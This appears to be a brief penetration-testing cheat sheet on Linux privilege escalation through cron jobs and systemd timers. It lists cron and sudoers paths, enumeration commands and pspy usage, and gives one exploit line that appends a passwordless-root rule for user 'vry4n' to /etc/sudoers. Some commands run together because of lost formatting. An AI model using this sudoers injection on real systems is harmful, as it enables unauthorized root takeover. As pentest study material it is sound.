Scheduled tasks

1. Cron jobs

Cron is a job scheduler in Unix-based operating systems. Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server.

Check if you have access with write permission on these files.

Check inside the file, to find other paths with write permissions.

/etc/init.d /etc/cron*

/etc/crontab /etc/cron.allow /etc/cron.d /etc/cron.deny /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/sudoers /etc/exports /etc/anacrontab /var/spool/cron /var/spool/cron/crontabs/root

crontab -l ls -alh /var/spool/cron; ls -al /etc/|grep cron ls -al /etc/cron*cat /etc/cron*cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny*

You can use pspy to detect a CRON job.

To print both commands and file system events and scan procfs every 1000 ms (=1sec)

./pspy64 -pf -i 1000

If you have write privileges in files runned by root you can try to explote this adding:

echo "vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

2. Systemd timers

systemctl list-timers --all

Last updated